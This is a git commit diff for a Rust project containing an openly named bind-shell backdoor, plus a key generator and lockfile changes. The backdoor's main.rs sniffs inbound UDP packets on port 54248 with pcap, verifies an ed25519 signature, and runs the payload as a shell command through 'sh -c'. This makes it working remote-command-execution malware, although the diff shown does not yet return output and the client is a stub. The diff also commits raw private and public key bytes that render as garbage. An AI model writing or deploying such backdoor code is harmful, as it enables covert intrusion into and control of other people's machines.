feat: added command parsing and spawning

.devcontainer/Dockerfile

@@ -16,4 +16,4 @@
 FROM rust:1-alpine
 
 RUN apk add bash docker git cmake make automake musl-dev \
-        flex bison linux-headers openssl-dev
+        flex bison linux-headers openssl-dev apache2-utils

.gitignore

@@ -1 +1,3 @@
 target
+examples/bind-shell-backdoor/pubkey
+examples/bind-shell-backdoor/privkey

Cargo.lock

@@ -8,6 +8,17 @@ version = "1.0.70"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "7de8ce5e0f9f8d88245311066a578d72b7af3e7088f32783804676302df237e4"
 
+[[package]]
+name = "atty"
+version = "0.2.14"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "d9b39be18770d11421cdb1b9947a45dd3f37e93092cbf377614828a319d5fee8"
+dependencies = [
+ "hermit-abi 0.1.19",
+ "libc",
+ "winapi",
+]
+
 [[package]]
 name = "autocfg"
 version = "1.1.0"
@@ -19,11 +30,29 @@ name = "bind-shell-backdoor"
 version = "0.1.0"
 dependencies = [
  "anyhow",
+ "ed25519-dalek",
+ "log",
  "pcap-sys",
+ "simple_logger",
  "tokio",
  "tokio-stream",
 ]
 
+[[package]]
+name = "block-buffer"
+version = "0.9.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "4152116fd6e9dadb291ae18fc1ec3575ed6d84c29642d97890f4b4a3417297e4"
+dependencies = [
+ "generic-array",
+]
+
+[[package]]
+name = "byteorder"
+version = "1.4.3"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "14c189c53d098945499cdfa7ecc63567cf3886b3332b312a5b4585d8d3a6a610"
+
 [[package]]
 name = "bytes"
 version = "1.4.0"
@@ -42,6 +71,10 @@ version = "1.0.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd"
 
+[[package]]
+name = "client"
+version = "0.1.0"
+
 [[package]]
 name = "cmake"
 version = "0.1.50"
@@ -51,6 +84,71 @@ dependencies = [
  "cc",
 ]
 
+[[package]]
+name = "colored"
+version = "2.0.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "b3616f750b84d8f0de8a58bda93e08e2a81ad3f523089b05f1dffecab48c6cbd"
+dependencies = [
+ "atty",
+ "lazy_static",
+ "winapi",
+]
+
+[[package]]
+name = "cpufeatures"
+version = "0.2.7"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "3e4c1eaa2012c47becbbad2ab175484c2a84d1185b566fb2cc5b8707343dfe58"
+dependencies = [
+ "libc",
+]
+
+[[package]]
+name = "curve25519-dalek"
+version = "3.2.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "90f9d052967f590a76e62eb387bd0bbb1b000182c3cefe5364db6b7211651bc0"
+dependencies = [
+ "byteorder",
+ "digest",
+ "rand_core",
+ "subtle",
+ "zeroize",
+]
+
+[[package]]
+name = "digest"
+version = "0.9.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "d3dd60d1080a57a05ab032377049e0591415d2b31afd7028356dbf3cc6dcb066"
+dependencies = [
+ "generic-array",
+]
+
+[[package]]
+name = "ed25519"
+version = "1.5.3"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "91cff35c70bba8a626e3185d8cd48cc11b5437e1a5bcd15b9b5fa3c64b6dfee7"
+dependencies = [
+ "signature",
+]
+
+[[package]]
+name = "ed25519-dalek"
+version = "1.0.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "c762bae6dcaf24c4c84667b8579785430908723d5c889f469d76a41d59cc7a9d"
+dependencies = [
+ "curve25519-dalek",
+ "ed25519",
+ "rand",
+ "serde",
+ "sha2",
+ "zeroize",
+]
+
 [[package]]
 name = "errno"
 version = "0.2.8"
@@ -161,6 +259,36 @@ dependencies = [
  "slab",
 ]
 
+[[package]]
+name = "generic-array"
+version = "0.14.7"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "85649ca51fd72272d7821adaf274ad91c288277713d9c18820d8499a7ff69e9a"
+dependencies = [
+ "typenum",
+ "version_check",
+]
+
+[[package]]
+name = "getrandom"
+version = "0.1.16"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "8fc3cb4d91f53b50155bdcfd23f6a4c39ae1969c2ae85982b135750cccaf5fce"
+dependencies = [
+ "cfg-if",
+ "libc",
+ "wasi 0.9.0+wasi-snapshot-preview1",
+]
+
+[[package]]
+name = "hermit-abi"
+version = "0.1.19"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "62b467343b94ba476dcb2500d242dadbb39557df889310ac77c5d99100aaac33"
+dependencies = [
+ "libc",
+]
+
 [[package]]
 name = "hermit-abi"
 version = "0.2.6"
@@ -170,6 +298,26 @@ dependencies = [
  "libc",
 ]
 
+[[package]]
+name = "itoa"
+version = "1.0.6"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "453ad9f582a441959e5f0d088b02ce04cfe8d51a8eaf077f12ac6d3e94164ca6"
+
+[[package]]
+name = "key-generator"
+version = "0.1.0"
+dependencies = [
+ "ed25519-dalek",
+ "rand",
+]
+
+[[package]]
+name = "lazy_static"
+version = "1.4.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "e2abad23fbc42b3700f2f279844dc832adb2b2eb069b2df918f455c4e18cc646"
+
 [[package]]
 name = "libc"
 version = "0.2.142"
@@ -199,7 +347,7 @@ checksum = "5b9d9a46eff5b4ff64b45a9e316a6d1e0bc719ef429cbec4dc630684212bfdf9"
 dependencies = [
  "libc",
  "log",
- "wasi",
+ "wasi 0.11.0+wasi-snapshot-preview1",
  "windows-sys 0.45.0",
 ]
 
@@ -209,10 +357,25 @@ version = "1.15.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "0fac9e2da13b5eb447a6ce3d392f23a29d8694bff781bf03a16cd9ac8697593b"
 dependencies = [
- "hermit-abi",
+ "hermit-abi 0.2.6",
  "libc",
 ]
 
+[[package]]
+name = "num_threads"
+version = "0.1.6"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "2819ce041d2ee131036f4fc9d6ae7ae125a3a40e97ba64d04fe799ad9dabbb44"
+dependencies = [
+ "libc",
+]
+
+[[package]]
+name = "opaque-debug"
+version = "0.3.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "624a8340c38c1b80fd549087862da4ba43e08858af025b236e509b6649fc13d5"
+
 [[package]]
 name = "pcap-sys"
 version = "0.1.0"
@@ -236,6 +399,12 @@ version = "0.1.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "8b870d8c151b6f2fb93e84a13146138f05d02ed11c7e7c54f8826aaaf7c9f184"
 
+[[package]]
+name = "ppv-lite86"
+version = "0.2.17"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "5b40af805b3121feab8a3c29f04d8ad262fa8e0561883e7653e024ae4479e6de"
+
 [[package]]
 name = "proc-macro2"
 version = "1.0.56"
@@ -254,6 +423,66 @@ dependencies = [
  "proc-macro2",
 ]
 
+[[package]]
+name = "rand"
+version = "0.7.3"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "6a6b1679d49b24bbfe0c803429aa1874472f50d9b363131f0e89fc356b544d03"
+dependencies = [
+ "getrandom",
+ "libc",
+ "rand_chacha",
+ "rand_core",
+ "rand_hc",
+]
+
+[[package]]
+name = "rand_chacha"
+version = "0.2.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "f4c8ed856279c9737206bf725bf36935d8666ead7aa69b52be55af369d193402"
+dependencies = [
+ "ppv-lite86",
+ "rand_core",
+]
+
+[[package]]
+name = "rand_core"
+version = "0.5.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "90bde5296fc891b0cef12a6d03ddccc162ce7b2aff54160af9338f8d40df6d19"
+dependencies = [
+ "getrandom",
+]
+
+[[package]]
+name = "rand_hc"
+version = "0.2.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "ca3129af7b92a17112d59ad498c6f81eaf463253766b90396d39ea7a39d6613c"
+dependencies = [
+ "rand_core",
+]
+
+[[package]]
+name = "serde"
+version = "1.0.160"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "bb2f3770c8bce3bcda7e149193a069a0f4365bda1fa5cd88e03bca26afc1216c"
+
+[[package]]
+name = "sha2"
+version = "0.9.9"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "4d58a1e1bf39749807d89cf2d98ac2dfa0ff1cb3faa38fbb64dd88ac8013d800"
+dependencies = [
+ "block-buffer",
+ "cfg-if",
+ "cpufeatures",
+ "digest",
+ "opaque-debug",
+]
+
 [[package]]
 name = "signal-hook-registry"
 version = "1.4.1"
@@ -263,6 +492,25 @@ dependencies = [
  "libc",
 ]
 
+[[package]]
+name = "signature"
+version = "1.6.4"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "74233d3b3b2f6d4b006dc19dee745e73e2a6bfb6f93607cd3b02bd5b00797d7c"
+
+[[package]]
+name = "simple_logger"
+version = "4.1.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "e78beb34673091ccf96a8816fce8bfd30d1292c7621ca2bcb5f2ba0fae4f558d"
+dependencies = [
+ "atty",
+ "colored",
+ "log",
+ "time",
+ "windows-sys 0.42.0",
+]
+
 [[package]]
 name = "slab"
 version = "0.4.8"
@@ -282,6 +530,12 @@ dependencies = [
  "winapi",
 ]
 
+[[package]]
+name = "subtle"
+version = "2.4.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "6bdef32e8150c2a081110b42772ffe7d7c9032b606bc226c8260fd97e0976601"
+
 [[package]]
 name = "syn"
 version = "2.0.15"
@@ -293,6 +547,35 @@ dependencies = [
  "unicode-ident",
 ]
 
+[[package]]
+name = "time"
+version = "0.3.20"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "cd0cbfecb4d19b5ea75bb31ad904eb5b9fa13f21079c3b92017ebdf4999a5890"
+dependencies = [
+ "itoa",
+ "libc",
+ "num_threads",
+ "serde",
+ "time-core",
+ "time-macros",
+]
+
+[[package]]
+name = "time-core"
+version = "0.1.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "2e153e1f1acaef8acc537e68b44906d2db6436e2b35ac2c6b42640fff91f00fd"
+
+[[package]]
+name = "time-macros"
+version = "0.2.8"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "fd80a657e71da814b8e5d60d3374fc6d35045062245d80224748ae522dd76f36"
+dependencies = [
+ "time-core",
+]
+
 [[package]]
 name = "tokio"
 version = "1.28.0"
@@ -333,12 +616,30 @@ dependencies = [
  "tokio",
 ]
 
+[[package]]
+name = "typenum"
+version = "1.16.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "497961ef93d974e23eb6f433eb5fe1b7930b659f06d12dec6fc44a8f554c0bba"
+
 [[package]]
 name = "unicode-ident"
 version = "1.0.8"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "e5464a87b239f13a63a501f2701565754bae92d243d4bb7eb12f6d57d2269bf4"
 
+[[package]]
+name = "version_check"
+version = "0.9.4"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "49874b5167b65d7193b8aba1567f5c7d93d001cafc34600cee003eda787e483f"
+
+[[package]]
+name = "wasi"
+version = "0.9.0+wasi-snapshot-preview1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "cccddf32554fecc6acb585f82a32a72e28b48f8c4c1883ddfeeeaa96f7d8e519"
+
 [[package]]
 name = "wasi"
 version = "0.11.0+wasi-snapshot-preview1"
@@ -367,6 +668,21 @@ version = "0.4.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f"
 
+[[package]]
+name = "windows-sys"
+version = "0.42.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "5a3e1820f08b8513f676f7ab6c1f99ff312fb97b553d30ff4dd86f9f15728aa7"
+dependencies = [
+ "windows_aarch64_gnullvm 0.42.2",
+ "windows_aarch64_msvc 0.42.2",
+ "windows_i686_gnu 0.42.2",
+ "windows_i686_msvc 0.42.2",
+ "windows_x86_64_gnu 0.42.2",
+ "windows_x86_64_gnullvm 0.42.2",
+ "windows_x86_64_msvc 0.42.2",
+]
+
 [[package]]
 name = "windows-sys"
 version = "0.45.0"
@@ -498,3 +814,23 @@ name = "windows_x86_64_msvc"
 version = "0.48.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "1a515f5799fe4961cb532f983ce2b23082366b898e52ffbce459c86f67c8378a"
+
+[[package]]
+name = "zeroize"
+version = "1.3.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "4756f7db3f7b5574938c3eb1c117038b8e07f95ee6718c0efad4ac21508f1efd"
+dependencies = [
+ "zeroize_derive",
+]
+
+[[package]]
+name = "zeroize_derive"
+version = "1.4.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "ce36e65b0d2999d2aafac989fb249189a141aee1f53c612c1f37d72631959f69"
+dependencies = [
+ "proc-macro2",
+ "quote",
+ "syn",
+]

Cargo.toml

@@ -1,5 +1,5 @@
 [workspace]
-members = ["pcap-sys", "examples/bind-shell-backdoor"]
+members = ["pcap-sys", "examples/bind-shell/*"]
 
 [profile.release]
 strip = true

examples/bind-shell-backdoor/src/main.rs

@@ -1,61 +0,0 @@
-use tokio::{self, sync::mpsc};
-use tokio_stream::StreamExt;
-use pcap_sys::{self, packets::EthernetPacket};
-use anyhow::{anyhow, bail};
-
-#[tokio::main]
-async fn main() -> anyhow::Result<()> {
-    let mut interfaces = pcap_sys::PcapDevIterator::new()?;
-
-    let interface_name = interfaces
-        .find(|eth| eth.starts_with("eth"))
-        .ok_or(anyhow!("Could not get an ethernet interface"))?;
-
-    let mut interface = pcap_sys::Interface::<pcap_sys::DevDisabled>::new(&interface_name)?;
-
-    interface.set_buffer_size(8192)?;
-    interface.set_non_blocking(true)?;
-    interface.set_promisc(false)?;
-    interface.set_timeout(10)?;
-
-    let interface = interface.activate()?;
-
-    if interface.datalink() != pcap_sys::consts::DLT_EN10MB {
-        bail!("interface does not support ethernet")
-    }
-
-    enum EventType {
-        Packet(Result<EthernetPacket, pcap_sys::error::Error>),
-        Send(EthernetPacket)
-    }
-
-    let mut packets = interface.stream()?;
-    let (packet_sender, mut packets_to_send) = mpsc::channel(64);
-
-    while let Some(evt) = tokio::select! {
-        v = packets.next() => v.map(EventType::Packet),
-        v = packets_to_send.recv() => v.map(EventType::Send)
-    } {
-        match evt {
-            EventType::Packet(pkt) => {
-                if let Ok(pkt) = pkt {
-                    tokio::spawn(handle_command(pkt, packet_sender.clone()));
-                }
-            }
-            EventType::Send(pkt) => {
-                packets.sendpacket(pkt.pkt())?;
-            }
-        }
-    }
-
-    Ok(())
-}
-
-async fn handle_command(
-    command: EthernetPacket,
-    send_response: mpsc::Sender<EthernetPacket>
-) -> anyhow::Result<()> {
-    
-
-    Ok(())
-}

examples/bind-shell/backdoor/Cargo.toml

@@ -6,7 +6,10 @@ edition = "2021"
 # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
 
 [dependencies]
-tokio = { version = "1.21.2", features = ["net", "rt", "macros", "rt-multi-thread", "sync", "process"] }
+tokio = { version = "1.21.2", features = ["net", "rt", "macros", "rt-multi-thread", "sync", "process", "io-util"] }
-pcap-sys = { path = "../../pcap-sys" }
+pcap-sys = { path = "../../../pcap-sys" }
 anyhow = "1.0.70"
 tokio-stream = "0.1.14"
+ed25519-dalek = "1.0.1"
+log = "0.4.17"
+simple_logger = "4.1.0"

examples/bind-shell/backdoor/src/main.rs

@@ -0,0 +1,143 @@
+use std::process::Stdio;
+use std::{sync::Arc, ffi::OsStr};
+use std::os::unix::ffi::OsStrExt;
+
+use tokio::{self, sync::mpsc, process, io::AsyncReadExt};
+use tokio_stream::StreamExt;
+use pcap_sys::{self, packets::EthernetPacket};
+use anyhow::{Context, anyhow, bail};
+use ed25519_dalek::{PublicKey, Verifier, Signature};
+
+const PUBKEY: &[u8] = include_bytes!("../../key-generator/pubkey");
+
+#[tokio::main]
+async fn main() -> anyhow::Result<()> {
+    simple_logger::SimpleLogger::new().init()?;
+
+    let pubkey = Arc::new(PublicKey::from_bytes(PUBKEY).context("could not parse generated public key")?);
+
+    log::info!("Pubkey is good");
+
+    let mut interfaces = pcap_sys::PcapDevIterator::new()?;
+
+    let interface_name = interfaces
+        .find(|eth| eth.starts_with("eth"))
+        .ok_or(anyhow!("Could not get an ethernet interface"))?;
+
+    let mut interface = pcap_sys::Interface::<pcap_sys::DevDisabled>::new(&interface_name)?;
+
+    interface.set_buffer_size(8192)?;
+    interface.set_non_blocking(true)?;
+    interface.set_promisc(false)?;
+    interface.set_timeout(10)?;
+
+    let mut interface = interface.activate()?;
+
+    interface.set_filter("inbound and udp port 54248", true, None)?;
+
+    if interface.datalink() != pcap_sys::consts::DLT_EN10MB {
+        bail!("interface does not support ethernet")
+    }
+
+    enum EventType {
+        Packet(Result<EthernetPacket, pcap_sys::error::Error>),
+        Send(EthernetPacket)
+    }
+
+    let mut packets = interface.stream()?;
+    let (packet_sender, mut packets_to_send) = mpsc::channel(64);
+
+    while let Some(evt) = tokio::select! {
+        v = packets.next() => v.map(EventType::Packet),
+        v = packets_to_send.recv() => v.map(EventType::Send)
+    } {
+        match evt {
+            EventType::Packet(pkt) => {
+                if let Ok(pkt) = pkt {
+                    let packet_sender_clone = packet_sender.clone();
+                    let pubkey_clone = pubkey.clone();
+                    tokio::spawn(async move {
+                        if let Err(e) = handle_command(pubkey_clone, pkt, packet_sender_clone).await {
+                            log::warn!("Error handling packet: {e}");
+                        }
+                    });
+                }
+            }
+            EventType::Send(pkt) => {
+                packets.sendpacket(pkt.pkt())?;
+            }
+        }
+    }
+
+    Ok(())
+}
+
+async fn handle_command(
+    pubkey: Arc<PublicKey>,
+    eth: EthernetPacket,
+    send_response: mpsc::Sender<EthernetPacket>
+) -> anyhow::Result<()> {
+    use pcap_sys::packets::*;
+    let eth_pkt = eth.pkt();
+    let Layer3Pkt::IPv4Pkt(ip_pkt) = eth_pkt.get_layer3_pkt()?;
+    let Layer4Pkt::UDP(udp_pkt) = ip_pkt.get_layer4_packet()?;
+
+    let data = udp_pkt.get_data();
+
+    if data.len() < 65 {
+        bail!("Packet was too short")
+    }
+
+    let signature: [u8; 64] = data[..64]
+        .try_into()
+        .context("could not get signature from command")?;
+
+    let signature = Signature::from(signature);
+
+    let cmd = &data[64..];
+
+    pubkey.verify(cmd, &signature).context("message provided was unauthenticated")?;
+
+    let cmd = OsStr::from_bytes(cmd);
+
+    log::info!("Received command to execute: {cmd:?}");
+
+    let child = process::Command::new("sh")
+        .arg("-c")
+        .arg(cmd)
+        .stdin(Stdio::null())
+        .stdout(Stdio::piped())
+        .stderr(Stdio::piped())
+        .spawn()?;
+
+    let mut stdout = child.stdout.ok_or(anyhow!("could not get child process stdout"))?;
+    let mut stderr = child.stderr.ok_or(anyhow!("could not get child process stdout"))?;
+
+    enum Output {
+        Out,
+        Err
+    }
+
+    let mut stdout_buffer = [0u8; 1024];
+    let mut stderr_buffer = [0u8; 1024];
+
+    loop {
+        let (out_type, Ok(len)) = tokio::select! {
+            v = stdout.read(&mut stdout_buffer[..]) => (Output::Out, v),
+            v = stderr.read(&mut stderr_buffer[..]) => (Output::Err, v)
+        } else { continue; };
+
+        if len == 0 {
+            break;
+        }
+
+        let msg = &match out_type {
+            Output::Err => stderr_buffer,
+            Output::Out => stdout_buffer
+        }[..len];
+    }
+
+    log::info!("Done executing command {cmd:?}");
+
+    Ok(())
+}

examples/bind-shell/client/Cargo.toml

@@ -0,0 +1,8 @@
+[package]
+name = "client"
+version = "0.1.0"
+edition = "2021"
+
+# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
+
+[dependencies]

examples/bind-shell/client/src/main.rs

@@ -0,0 +1,3 @@
+fn main() {
+    println!("Hello, world!");
+}

examples/bind-shell/key-generator/Cargo.toml

@@ -0,0 +1,10 @@
+[package]
+name = "key-generator"
+version = "0.1.0"
+edition = "2021"
+
+# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
+
+[dependencies]
+ed25519-dalek = "1.0.1"
+rand = "0.7"

examples/bind-shell/key-generator/privkey

@@ -0,0 +1,2 @@
+öťc—I
+‚7@‹¶Źů˙BU ˇö”jŠTR]˘<>z"p*o

examples/bind-shell/key-generator/pubkey

@@ -0,0 +1 @@
+в<EFBFBD>:+6ёКЩВ<D0A9>и{
jВЋ^гиЕМ<D095>	uЧњhT<68>q-ф

examples/bind-shell/key-generator/src/main.rs

@@ -0,0 +1,13 @@
+use std::{fs, io};
+
+use ed25519_dalek::Keypair;
+
+fn main() -> io::Result<()> {
+    let mut csprng = rand::thread_rng();
+    let keypair = Keypair::generate(&mut csprng);
+
+    fs::write("privkey", keypair.secret)?;
+    fs::write("pubkey", keypair.public)?;
+
+    Ok(())
+}